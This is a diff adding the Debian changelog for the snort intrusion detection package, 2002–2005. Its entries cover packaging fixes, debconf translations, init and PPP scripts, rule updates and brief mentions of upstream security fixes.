+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Tue, 22 Mar 2005 01:26:55 +0100
+
+snort (2.3.2-1) unstable; urgency=low
+
+  * New upstream release. 
+    - Fixes some bugs in preprocessors
+    - Rules updates
+  * Fixed format of NEWS file, updated the version of the changelog entry so
+    that everybody will read it on next upgrade (Closes: #299334) 
+  * Added debconf french translation provided by Christian Perrier (Closes: #299016)
+  * Updated debconf dutch translation provided by  Peter Vandenabeele (Closes: #296152)
+  * The PPP script will now use the new /etc/default/snort mechanism 
+    (Closes: 298003
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Mon, 14 Mar 2005 13:26:45 +0100
+
+snort (2.3.0-7) unstable; urgency=low
+
+  * Do not change the permissions of /var/log/snort/ and 
+    /etc/snort/snort.conf if the administrator has setup an override
+    using dpkg-statoverride (Closes: #296927)
+  * Updated translation to Catalan with the one provided by Aleix Badia i
+    Bosch
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Sat, 26 Feb 2005 13:09:14 +0100
+
+snort (2.3.0-6) unstable; urgency=low
+
+  * Added tetex-extra to Build-Depends (Closes: #296814)
+  * Refer to the proper file in debconf template (Closes: #296809)
+  * Updated the spanish debconf translation.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Fri, 25 Feb 2005 00:43:19 +0100
+
+snort (2.3.0-5) unstable; urgency=low
+
+  * Upload of the experimental package to unstable
+    Even though I don't get to fix #205683 and friends (and I would
+    like to, before the release)
+    This release Closes #283816, #241995, #289405, #247603
+  * Do not rotate log files if empty (Closes: #193299)
+  * Added dutch translation (Closes: #247603)
+  * Added yet another TODO item
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Tue, 22 Feb 2005 21:36:40 +0100
+
+snort (2.3.0-4) experimental; urgency=low
+
+  * Call dh_installdocs with -i or -a depending on target, rename
+    (Closes: #295228, #294755)
+  *  NEWS.Debian file to NEWS 
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Tue, 15 Feb 2005 08:33:34 +0100
+
+snort (2.3.0-3) experimental; urgency=low
+
+  * Create manual in build-indep location (Closes: #294755) 
+  * Fixed location of snort_manual and lisapaper in their respective
+    doc-base files.
+  * Added a reference to the FAQ through a new doc-base file.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Sat, 12 Feb 2005 12:23:35 +0100
+
+snort (2.3.0-2) experimental; urgency=low
+
+  * Improved postrm purge action by removing also obsolete configuration
+  (since it's no longer in the conffiles) and the group. Also, synced all
+  postrm scripts (mysql did not included the rmdir /etc/snort code)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Wed,  9 Feb 2005 08:44:05 +0100
+
+snort (2.3.0-1) experimental; urgency=low
+
+  (First attempt at experimental, to avoid breaking installations running sid)
+  * New upstream release 
+  * This version now uses libnet1, changed Build-Depends (Closes: #241995)
+  * Introduced /etc/default/snort and removed /etc/snort/common.parameters
+    this makes it easier to check for common situations (parsing the parameter
+    file is quite complicated). The old common.parameters file is moved
+    over to /etc/default/snort automatically, but retained in case
+    the parsing has not been done properly (and will not be used until
+    the common.parameters file is removed). This is described in the
+    NEWS.Debian file.
+  * Fixed the postint call so that the passwd and group are checked before
+    they are created. Also fix chown call (still used '.' instead of ':')
+  * Introduce a check for the status of Snort's logdirectory, it checks if
+    it belongs to Snort (Closes: #247603)
+  * This release provides debconf support for snort sensors in 
+    multiple interfaces (Closes: #283816)
+  * Run update-debconf, seems I had not done this when I last made changes
+    in the templates in 2.2.0-8
+  * Included the documentation available, including signatures. Also
+    added the LaTeX manual included as well as the additional Build-Depends
+    on tetex-bin and gs-common
+  * Updated the FAQ (was about time!) from http://www.snort.org/docs/FAQ.txt
+  * Added a README.docs file (pointing people to more documents)
+  * Updated translations:
+    - German, provided by Erik Schanze (Closes: #289405)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Wed, 26 Jan 2005 09:18:53 +0100
+
+snort (2.2.0-9) unstable; urgency=low
+
+  * Removed old (obsolete) converstion of PPPENV in /var/tmp in postinst
+    which actually might open up security holes when using dialup access
+    and installing/upgrading the package.
+  * Updated translations:
+    - Japanese, provided by Hideki Yamane (closes: #283128)
+    - French, provided by Christian Perrier (closes: #284559)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Mon, 20 Dec 2004 01:35:21 +0100
+
+snort (2.2.0-8) unstable; urgency=low
+
+  * Updated the README.Debian file with proper information on how to setup
+    multiple interfaces and rewrote the Debconf question to specify that
+    it can be used to define multiple interfaces (Closes: #283816) 
+  * Added some additional TODO notes
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Wed,  1 Dec 2004 17:04:38 +0100
+
+snort (2.2.0-7) unstable; urgency=low
+
+  * Make snort-common Arch: all (Closes: #278987) 
+  * The installation will now check if you are using a configuration that
+    will not be able to work with the current Snort version and will forewarn
+    you. The package installation will still fail (if Snort is started
+    automatically) but the administrator will be pointed to where the
+    error is (Closes: #165107)
+  * Use dh_installman instead of dh_installmanpages and provide proper
+    PACKAGE.manpages file since dh_installmanpages now fails to create the
+    snort-common package properly.
+  * Updated to the latest rules snapshot
+  * Added an 'update-rules' target in debian/rules that downloads the 
+    latest rules snapshot and installs it in the package.
+  [ Translations ]
+  * Dutch update, provided by cobaco (Closes: #278719)
+  * Japanese update, provided by Hideki Yamane (Closes: #279028)
+  * French update, provided by Christian Perrier (Closes: #279833)
+  * German update, provided by Erik Schanze (Closes: #280964)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Sat, 30 Oct 2004 22:47:34 +0200
+
+snort (2.2.0-6) unstable; urgency=low
+
+  * Added a 'config-check' option in init.d to test the user's configuration
+    file. This could be used to determine (in postinst) if snort should be
+    restarted and warn the user (not yet done). This will help fix #165107,
+    #165351 (since similar user mistakes would be detected), #276565 and
+    #247665.
+  * Added more information to the TODOs
+  * Moved DEBIAN_TRESHOLD to DEBIAN_THRESHOLD (save for the debconf value
+    in order to avoid reseting it) (Closes: #256581)
+  * Removed double space in template (Closes: #275936)
+  * The snort-rules package now Suggests: snort instead of depending on it
+    (Closes: #249697)
+  * Updated rules with the latest snapshot.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Mon, 25 Oct 2004 23:47:45 +0200
+
+snort (2.2.0-5) unstable; urgency=low
+
+  * Rules update 
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Wed, 13 Oct 2004 12:11:21 +0200
+
+snort (2.2.0-4) unstable; urgency=medium
+
+  * Fix typo introduced in previous upload that prevents
+    ppp init script from loading properly common.parameters (Closes: #275439)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Fri,  8 Oct 2004 09:50:06 +0200
+
+snort (2.2.0-3) unstable; urgency=high
+
+  * Added config-file discovery to ppp init.scripts so that Snort is
+    started (-c) with the proper configuration file if available or 
+    snort.conf if not. Setting high severity so that users running
+    Snort with PPP don't end up with a full /var filesystem (Closes: #268707)
+  * Fixed bashism in /etc/ppp/if-up.d/snort
+  * Modified the init.d an if-up.d scripts so that
+    /etc/snort/snort.common.parameters is only used if it exists.
+  * Snort-rules-default now Recommends: oinkmaster 
+    now that it is in the archive (accepted 01 Oct 2004), this does not
+    close #191105 since IMHO a better signature update mechanism should 
+    be introduced. Also updated the related TODO item.
+  * Added a FAQ Q&A regarding rule updates in README.Debian
+  * Added code to detect for deprecated preprocessors and warn the user,
+    curretnly the code will not touch the configuration files himself and
+    will not detect if you are using the standard package configuration file.
+    It will prevent users from having configuration issues, however
+    (Closes: #247665)
+  * Modified the init.d file so you can use 'status' to determine if
+    the Snort sensors are up or not.
+  * Updated the 2.2 rule set with the snapshot provided at snort.org, new rules
+    include detection of the recent JPEG exploit (Closes: #274244)
+  * Fixed typo in templates (unfuzzied modified entries) and updated
+    JA translation provided by Hideki Yamane (Closes: #273138)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Sat,  2 Oct 2004 12:41:50 +0200
+
+snort (2.2.0-2) unstable; urgency=low
+
+  * Taking over maintainership of this package (Closes: #265343)
+  * Have  Snort{,-mysql,-pgsql} depend on the same versions of the
+    common packages (was not done in the previous release)
+  * Updated JA translation (Closes: #271755)
+  * Added a list of todo items in debian/TODO
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Wed, 15 Sep 2004 10:42:43 +0200
+
+snort (2.2.0-1) unstable; urgency=low
+
+  + The 'Please Adopt Me!' release.
+
+  + Fixed build-depends on libpcap0.8-dev closes: #263923
+  + Fixed failure to start on multiple interfaces, each interface
+    now uses it's own configuration file. Closes: #248908
+  + Snort{,-mysql,-pgsql} depend on the same versioned rules + common
+    Closes: #257078
+  + NL, DE, pt_BR, FR, JA translations added
+    Closes: #265508, #264301, #246553, #246374, #239206
+  + New upstream release closes: #262297
+ 
+ -- Sander Smeenk <ssmeenk@debian.org>  Sun, 15 Aug 2004 15:24:39 +0200
+  
+snort (2.1.2-2) unstable; urgency=low
+
+  ! Once again: Thanks Mario 'BitKoenig' Holbe for your great help:
+    + Moved 'dialup' interface guessing from ppp/ip-up to postinst
+  + Cleanup restart: only restart current running interfaces
+    This also cleans up: 'dialup' logcheck failure, if no snort running
+  + Prepare for multisensor support
+  + Use start-stop-daemon --retry instead of sleep and kill -9
+  + Use invoke-rc.d only, if it exists
+    Closes: #191574
+  + Correct please_restart to please_restart_manually
+  + Re-Unified prerm and postinst scripts
+  + Fix the backward-compatible just-kill-them-all in prerm;
+    do we really need it? It definitely didn't work before and
+    since the old-package prerm is called anyways, we shouldn't.
+  + Simplify snort.debian.conf creation
+
+  + snort-doc/examples now has a snort-rules auto-update script!
+    Closes: #242521, thanks Marcel!
+  + Updated fr.po by Christian Perrier
+    Closes: #244048, thanks Christian!
+  + Recent changes to init / ip-{up,down} scripts fixed this bug:
+    Closes: #226236
+  + Fixed database schema's in {pg,my}sql packages. This does not fix
+    the 'schema is not installed when debconf prompts for it'-problem.
+    Closes: #244017
+  + Problem with snort-pgsql.template fixed.
+    Closes: #244175
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sun, 18 Apr 2004 14:39:19 +0200
+
+snort (2.1.2-1) unstable; urgency=low
+
+  + New upstream release
+  + Templates corrected (reflect same text at shared options, typos)
+  
+  + -b switch removed from snort startup, log_tcpdump changed to snort.log
+    Closes: #241425, #171190
+  + French debconf translation by Christian Perrier
+    Closes: #241991
+  + Added checks on purge of snort-rules-default. Fixed breakage
+    Closes: #239542
+  + Firewall interaction is explained in the FAQ
+    Closes: #217174
+  + Snort now has snort.common.options, and no -b anymore.
+    Closes: #217244
+  + Changed helptext in snort.debian.conf to be more generic.
+    Closes: #196694
+  + Improved dialup suppport. MANY Thanks to Mario 'BitKoenig' Holbe for
+    his great work on this subject and the changes to the init script!
+    Closes: #226236
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sun,  4 Apr 2004 15:12:27 +0100
+
+snort (2.1.1-1) unstable; urgency=low
+
+  + New upstream release
+    Closes: #238427
+  + Added catalan debconf templates (debian/po/ca.po)
+    Closes: #236644
+  + Fixed packaging bugs.
+  + Applied following changes by Javier Fernández-Sanguino Peña. Thanks!!
+      * Snort group is now created using --system in all packages
+        Closes: #231580
+      * Both the cron.daily script and the postinst scripts set a default
+        value for STATS_RCPT and STATS_TRESHOLD to avoid buggy behaviours
+        if the user does not setup a proper value when interfacing with
+        debconf. Still, these values should be checked in the config 
+        scripts. (Closes: #173331)
+      * Snort-stat now exists if there are no results which will avoid
+        it from sending empty emails 
+        (Closes: #217913, #174508, #192401, #172529)
+      * Improved the explanations in several templates (Closes: #217173)
+      * Updated Japanese translation (and fixed some po format errors,
+        hopefully without damaging the po file) (Closes: #226680)
+      * Included Catalan debconf translation (Closes: #236644)
+      * Updated pt-BR debconf translation (Closes: #228244)
+      * Re-Added (partial) spanish debconf translation (it seems that 
+        the work I did back in december 2001 has not been moved to po-debconf!)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Wed, 17 Mar 2004 18:46:28 +0100
+ 
+snort (2.1.0-4) unstable; urgency=low
+
+  + Fixed FTBFS with -B flag specified to dpkg-buildpackage
+    Thanks Pascal Hakim.
+  + Restart target in init.d script requires a sleep on slow systems.
+    Thanks Marco Gaiarin.
+  + Updated the ja.po templates 
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Wed, 1 Mar 2004 00:00:00 +0100
+  
+snort (2.1.0-3) unstable; urgency=low
+
+  + Split binary-indep packages from binary-arch target
+    Closes: #226072, #157708, #185806
+  + ip-up.d script now correctly guesses the PPPENV settings
+    Closes: #225956
+  + Updated the fr.po templates
+    Closes: #225906
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sun, 04 Jan 2004 12:51:38 +0100
+
+snort (2.1.0-2) unstable; urgency=low
+
+  + Added example init.d script to manage multiple sensors.
+  + No longer kills custom daemons at init.d stop
+    Closes: #181637
+  + Fixed build-dependency on libpcre3-dev
+    Closes: #225707
+  + Fixed manpage to reflect new SIGHUP handling
+    Closes: #122689
+  + Already implemented 'statesaving' dialup scripts
+    Closes: #101725
+  + Changed default flow-portscan configuration
+    Closes: #225506
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Fri, 02 Jan 2004 13:01:54 +0100
+
+snort (2.1.0-1) unstable; urgency=low
+
+  + New upstream version
+  + Depend on perl-modules for perlscripts
+    Closes: #212805
+  + Fixed breakage of upgrades when conffiles were removed by user
+    Closes: #207970
+  + Added japanese translation of templates
+    Closes: #224191
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sun, 21 Dec 2003 15:48:55 +0100
+
+snort (2.0.2-3) unstable; urgency=low
+
+  * ip-up.d/snort and init.d/snort now use the same startup arguments
+    with an extra config file that holds the common parameters.
+    Closes: #217244
+  + ip-{up,down}.d/snort moved from snort-common to snort{,-mysql,-pgsql}
+  * Clarified debconf questions. Fixed typos, corrected grammar.
+    Closes: #217173
+  * Updated what documenation files are included.
+    Closes: #217174
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Fri, 24 Oct 2003 18:05:26 +0200
+
+snort (2.0.2-2) unstable; urgency=low
+
+  * Fixed 'native package' problem
+  	Closes: #216326
+
+  * Fixed syntaxerrors in init script
+    Closes: #215142
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sun, 19 Oct 2003 16:11:09 +0200
+
+snort (2.0.2-1) unstable; urgency=low
+
+  Pascal:
+  * Make snort-rules-default depend on a recent version of snort
+    Closes: #135603
+  * Delete configuration files and log files on purge.
+    Closes: #180043
+
+  Sander:
+  * Fixed the init.d script to not start snort in dialup mode at boot. 
+    Closes: #207291, #208003
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Wed, 08 Oct 2003 21:09:34 +1000
+
+snort (2.0.1-3) unstable; urgency=low
+
+  + Fixed FTBFS: automake1.6 dependency (Closes: #207010)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Mon, 25 Aug 2003 10:45:31 +0200
+
+snort (2.0.1-2) unstable; urgency=low
+  
+  + Snort now co-maintained by Pascal Hakim
+  
+  + fr.po added, forgot the NMU by Christian Perrier
+  + Untranslatable strings marked for translation fixed
+    Closes: #206972, #192952
+  + create_postgresql.gz has been updated and now uses 'TIMESTAMP'
+    Closes: #206372
+  + Changed the init.d's "start" section to support dialup mode
+    Closes: #205873
+  + SNMP support has been removed upstream, I forgot to remove the MIB
+    message from snort-common
+    Closes: #206668
+  + Since the MIB note was removed, this also fixes inapropriate use of
+    debconf, which Closes: #205085
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sun, 24 Aug 2003 11:41:23 +0200
+
+snort (2.0.1-1) unstable; urgency=low
+
+  + New upstream source
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Tue, 19 Aug 2003 16:32:46 +0200
+
+snort (2.0.0-3.1) unstable; urgency=low
+
+  + Eeps! Forgot my versioned dependencies!
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Mon, 05 May 2003 21:02:13 +0200
+
+snort (2.0.0-3) unstable; urgency=low
+
+  + Added 'Provides: Snort' to snort-{pg,my}sql (Closes: #190064)
+  + Moved parameter -b to snort.conf (Closes: #190748)
+  + Seems fixed, according to submitter (Closes: #184596)
+  + Fixed ppp/ip-up.d/snort, first source, then test (Closes: #190999, #191894)
+  + Dependency on libpq3 isn't mandatory since postgresql-dev depends on it.
+    (Closes: #191570)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Mon, 05 May 2003 20:27:03 +0200
+
+snort (2.0.0-2) unstable; urgency=low
+
+  + Fixed PPP environment variables in ip-up.d. (Closes: #190107)
+    I really don't know how to support multiple instances of snort here
+  + Versioned depends on snort-rules-default (Closes: #190111)
+  + Fixed wrong pid-finding init.d script (Closes: #190154)
+  + cronjob 'snort' renamed to '5snort' again (Closes: #190303)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Wed, 23 Apr 2003 21:00:23 +0200
+
+snort (2.0.0-1) unstable; urgency=high
+
+  + New Upstream version
+  + SECURITY FIXES (Closes: #189267)
+  - XML logging and SNMP notification seems to be removed upstream ?
+
+  + The init.d script has added intelligence that will hopefully detect
+    wether snort was running in manual mode / dialup mode when logrotate
+    ran, and leave it in that state (Closes: #186060)
+  + Tried to fix snort-stat by adding -a option (Closes: #186214)
+  + Renamed cronjob 5snort to snort (Closes: #186380)
+  + Rebuilt with new libsnmp-0.4.2 linking (Closes: #186415)
+  + po-debconf patch applied, thanks (Closes: #186881)
+  + Including sid-msg.map and gen-msg.map (Closes: #187291)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sat, 05 Apr 2003 13:32:18 +0200
+
+snort (1.9.1-4) unstable; urgency=low
+
+  + Added dependency on perl-modules to snort-common (Closes: #185180)
+  + Attempt 1 at fixing snort-stat again (Closes: #184622)
+  + init.d script tells how to start snort on dialup system (Closes: #181074)
+  + snort-stat supports -a now (scan whole file) (Closes: #184282)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Tue, 18 Mar 2003 21:37:47 +0100
+
+snort (1.9.1-3) unstable; urgency=low
+
+  + Fixed Override Disparities
+  + Added section to snort-paper (Closes: #183988, #183388)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Wed, 12 Mar 2003 09:04:30 +0100
+
+snort (1.9.1-2) unstable; urgency=low
+
+  + Fixed PostgreSQL CreateDB-scheme (Closes: #181733)
+  + Fixed snort-doc (Closes: #183988, #183388)
+  + A supposed fix for #181477 introduced a new bug which is now fixed
+    (Closes: #184128, #184071)
+  + Fixed -s commandline argument. It doesn't need an argument.
+    (Closes: #183790)
+  + Startup arguments for init.d invocation and pppd invocation are now
+    'the same' (Closes: #183554)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Mon, 10 Mar 2003 23:57:12 +0100
+
+snort (1.9.1-1) unstable; urgency=high
+
+  * SECURITY FIX
+    ISS X-Force has discovered a remotely exploitable buffer overflow
+    condition in Snort. A buffer overflow flaw exists in Snort RPC
+    preprocessing code that is vulnerable to attack.
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Mon, 03 Mar 2003 21:15:27 +0100
+
+snort (1.9.0rel-4) unstable; urgency=low
+
+  + Changed logrotate (Closes: #176495)
+  + Renamed 'portscan2' to 'portscan2.log' (Closes: #173978)
+  + Recompile Fixed PostgreSQL dependency (Closes: #175977)
+  + Applied patch against snort-stat (Closes: #175657)
+  + Added 'portscan2-ignorehosts' example + enabled for $HOME_NET
+    (Closes: #173985)
+  + Marks old 'snort.rules.files' OBSOLETE (Closes: #173981)
+  + Fixed snort-stat manpage to reflect alert.log (Closes: #175364)
+  + Fixed snort-pgsql logging bug with last_cid (Closes: #166722)
+  + Updated snort-rules-default to latest version
+  + Recompile fixed libsnmp5 dependency (Closes: #183094, #182722)
+  + Init scripts fixed (Closes: #181497)
+  + Changed rights on /var/log/snort to snort.adm (Closes: #180216)
+  + Fixed mkdir -p in snort-rules-default preinst (Closes: #180046)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sat, 25 Jan 2003 16:48:40 +0100
+  
+snort (1.9.0rel-3) unstable; urgency=low
+
+  + Using invoke-rc.d instead of direct /etc/init.d calls (Closes: #165135)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Thu, 17 Oct 2002 11:35:42 +0200
+
+snort (1.9.0rel-2) unstable; urgency=low
+
+  + Fixed Startup in Manual mode (Closes: #164644)
+  + Fixed failing preinst in snort-rules-default (Closes: #164643)
+  + No more useless cron messages (Closes: #158490)
+  + Manually changed snort.c to fix -s cmdline problem (Closes: #164969)
+  + DISABLED OLD PORTSCAN PREPROCESSOR, REPLACED BY PORTSCAN2 PREPROCESSOR
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Wed, 16 Oct 2002 19:58:29 +0200
+  
+snort (1.9.0rel-1) unstable; urgency=low
+
+  + New Upstream Version
+  + Moves old /etc/snort/*.rules to new rules/ directory 
+    (Closes: #158447, #160888)
+  + Closes: #158845, leftover bug fixed in previous upload.
+  + Files *were* created with incorrect permissions (Closes: #162386)
+  + Fixed Logrotate (Closes: #158042, #159456)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sat, 31 Aug 2002 15:59:16 +0200
+
+snort (1.9.0beta4-5) unstable; urgency=low
+
+  + ASN.1 Decoder turned OFF because of TOO MANY LOGENTRIES!
+  * Fixed Bugs (Closes: #157443)
+  + Commented out the 'Initializing Output Plugins!' message.
+  
+  
+  + Changed to logrotate to rotate logfiles (Closes: #157706)
+  * Unreproducable, but changed to new rotation system (Closes: #156896)
+  
+  
+  + Specified 'portscan2.log' as portscan2 preprocessor logfile
+  + Supports 'any' in the address range question to not trust
+    any side of the network. Wishlist but no bug was filed for this.
+  + Fixed faulty information in templates (Closes: #158708)
+  + Added README.PHP in contrib/ for clearness (Closes: #158714)
+  + snort-stat reported hostname with \n at the end, chomped off now.
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Fri, 23 Aug 2002 22:17:20 +0200
+
+snort (1.9.0beta4-4) unstable; urgency=low
+
+  + Severe postinst breakage when installing newer versions
+    of Snort from scratch. Fixed.
+  + Fixed world-writable logfiles problem (Closes: #155893)
+  + Password-field must be filled in.
+  + snort-mysql's postinst put postgresql config in snort.conf :(
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Tue, 20 Aug 2002 13:21:42 +0200
+
+snort (1.9.0beta4-3) unstable; urgency=low
+
+  + Fixed world-writable logfiles problem (Closes: #155893)
+  + Password-field must be filled in.
+  + snort-mysql's postinst put postgresql config in snort.conf :(
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Tue, 20 Aug 2002 11:11:35 +0200
+
+snort (1.9.0beta4-2) unstable; urgency=low
+
+  + Found nicer way of fixing #155893 (Closes: #155893)
+  + Typo two typos in bugnumbers. 
+    Previous #153221 should be (Closes: #153211)
+    Previous #156119 should be (Closes: #156199)
+    Sorry for the mixups. It was late :/
+  + Fixed b0rking preinsts (Closes: #157085)
+  
+ -- Sander Smeenk <ssmeenk@debian.org>  Fri, 16 Aug 2002 00:03:41 +0200
+  
+snort (1.9.0beta4-1) unstable; urgency=low
+
+  + Fixes world readable configuration file problem (Closes: #154977, #155484)
+  + XML output should work in this release (Closes: #153845)
+  + MIB's moved to /usr/share/snmp/mibs (Closes: #153221)
+  + snort-stat now uses threshold (Closes: #147197)
+  + SMTP rules have been disabled per default (Closes: #153817)
+  + Fixed typo's in debconf screens (Closes: #154687)
+  + 'Hacked around' the logfiles-not-group-readable problem (Closes: #155893)
+  + Upload accepted (Closes: #156119)
+  + Leftover bugs that have been fixed earlier (Closes: #134979)
+
+  * Fixed but no-bugreports:
+  + 'Initializing Plugins' log-message removed from src/plugbase.c
+  + Rules have moved from /etc/snort to /etc/snort/rules/
+  + snort-{pg,my}sql now update the snort.conf file properly
+  + stream4 evasion-detection disabled
+  + more...
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Wed, 14 Aug 2002 22:00:24 +0200
+
+snort (1.8.7-4) unstable; urgency=low
+  
+  + Typo in snort-stat, fixed.
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sat, 03 Aug 2002 11:21:49 +0200
+
+snort (1.8.7-3) unstable; urgency=low
+
+  + snort-stat now shows hostname from where it's reporting.
+  + ruleset tuning (Closes: #155084)  
+  + i see no rules with <- direction specifier, snort starts
+    just the way it should with telnet.rules and backdoor.rules
+    (Closes: #153400)
+  + Specific major-version Build-Depends on libsnmp4.2-dev (Closes: #155163)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sat, 03 Aug 2002 01:34:49 +0200
+
+snort (1.8.7-2) unstable; urgency=low
+
+  + Fixed situations where snort got restarted by cronscript while
+    being started in dialup-mode. Snort should support -HUP'ing.
+  + Fixed typo in /etc/snort/snort.conf (Closes: #152840, #152671)
+  + Fixed stupid snmpd.conf auto-addition, that was bad (Closes: #153074)
+  + Each MTA supplies 'sendmail' and each system has 'MTA' (Closes: #151678)
+  + Snort-pgsql has debconf 'help' on configuring a DB (Closes: #149661)
+  + Fixed snort-mysql.config problem (Closes: #110952)
+  + Multiple subnets problem fixed (Closes: #146861)
+  * Maintainer Wipes Forehead.
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Thu, 11 Jul 2002 21:06:50 +0200
+
+snort (1.8.7-1) unstable; urgency=low
+
+  + NEW UPSTREAM!
+  * No more local-{first,last} creation in preinst (Closes: #152184)
+  * var EXTERNAL_NET !$HOME_NET in snort.conf (Closes: #152182)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Mon,  8 Jul 2002 10:59:16 +0200
+
+snort (1.8.6-6) unstable; urgency=low
+
+  * Fixed serious log-rotation problem (Closes: #151922)
+  * Fixed typo in rules file: --enable-snmp versus --with-snmp
+    + Reported in private mail, no bugs to close.
+  * New ruleset & config & classification (Closes: #152070)
+  * Not a bug (Closes: #152068)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Fri,  5 Jul 2002 23:23:09 +0200
+
+snort (1.8.6-5) unstable; urgency=low
+
+  * Fixed 5snort cronjob, thanks for the patches.
+     + Closes: #151336, #151341, #151393, #151395
+  * Can't check this problem, it looks fixed to me. 
+     + Closes: #94709
+  * Cronjob has been reworked so it uses /var/log/snort/alert, also
+    snort.conf has been configured to log to syslog by default.
+     + Closes: #146680
+  * Debconf frontend now supports multiple addresses (ranges) in
+    address_range question.
+     + Closes: #66932
+  * Bug-submitter thinks this bug is fixes now.
+     + Closes: #104074
+  * Weird unaligned traps on alpha are unconfirmed snort-related.
+    Also, haven't heard anyone else about this.
+     + Closes: #130675
+  * Fixed the debconf script's perl-regexp to support multiple
+    subnet-definition seperated by commas
+     + Closes: #146945
+  * Once more fixed /etc/snort/snort.conf _NOT_ to log to syslog,
+    since that would stop logging to /var/log/snort/alert, and that
+    would break the snort-stat cronjob, and more.
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sun, 30 Jun 2002 00:29:26 +0200
+
+snort (1.8.6-4) unstable; urgency=low
+
+  + Fixed POSIX shell incompatibility (Closes: #150409)
+  + Fixed Suggests instead of Recommends on snort-doc. 
+    (Closes: #150768, #150702)
+  + Fixed RULE_PATH setting in snort.conf
+  + Fixed syslog default log-type in snort.conf (Closes: #46680, #124169)  
+  + The cronjob in this release _tries_ syslogd-listfiles, and if
+    that is not available defaults to /var/log/auth.log. (Closes: #120991)
+  + Added section in README.Debian about FLEXRESP rules and 
+    snort-not-starting because of permission denied (Closes: #132577)
+  + Fixed Subject: in body instead of headers (Closes: #132220, #145836)
+  + Fixed 'misleading comments' in snort.conf (Closes: #145749)
+  + The empty snort.conf problem was fixed in 1.8.6-1? (Closes: #144218)
+  + This was fixed in an earlier release (Closes: #134792)
+  + Applied patch against cronjob (Closes: #151229)
+  + Package 'debianutils' is in base and required, so no dependancies
+    are nescasary (Closes: #145837)
+  + Subjectless email fixed (Closes: #145876)
+  + Cronjob emails daily-alerts instead of weekly (Closes: #145901)
+  + Looks fixed to me (Closes: #136220)
+  + Thanks for the patches everyone!! Greatly appreciated! (Closes: #151257)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Fri, 28 Jun 2002 11:22:13 +0200
+  
+snort (1.8.6-3) unstable; urgency=low
+
+  * New Maintainer!  Sander Smeenk <ssmeenk@debian.org>
+  + POSTGRESQL SUPPORT WHOO (Closes: #108348)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Tue,  4 Jun 2002 21:28:15 +0200
+
+snort (1.8.6-2) unstable; urgency=low
+
+  * [debian/snort-rules-default.conffiles] Added missing entries.
+  * [debian/rules] Honour DEB_BUILD_OPTIONS.
+  * [debian/rules] Use a variable to hold configure options that are common
+    to the variant packages.
+  * [debian/rules] Use debhelper *.dirs .
+  * [debian/*.doc-base] New.
+  * Bumped Standards-Version.
+  * Previous uploads fixed more bugs than noted.
+    (Closes: #142508, #143294, #131948)
+  * Enabled SNMP support.
+  * Added Spanish translations to debconf templates. (Closes: #126725)
+  * Changes above by JHM (thanks!)
+  * Added a new snort_stat.pl (Closes: #143875, #131887, #143962)
+
+ -- Robert van der Meulen <rvdm@debian.org>  Mon, 29 Apr 2002 13:03:24 +0200
+
+snort (1.8.6-1) unstable; urgency=low
+
+  * Sander Smeenk <ssmeenk@debian.org> fixed:
+    + Closes: #111533, #131047
+    * Changed snort.template and made a clear text about what HOME_NET
+      is used for. I had to remove the de_DE and pt_BR translations though.
+    + Closes: #134063
+    * The postinst now creates /etc/snort/snort.debian.conf if it doesn't
+      exist by echoing a basic content into the file. Kinda ugly, but it
+      works.
+    + Closes: #132220, #134898, #136848, #139143, #139423
+    * These are all about snort-stat and empty daily emails.
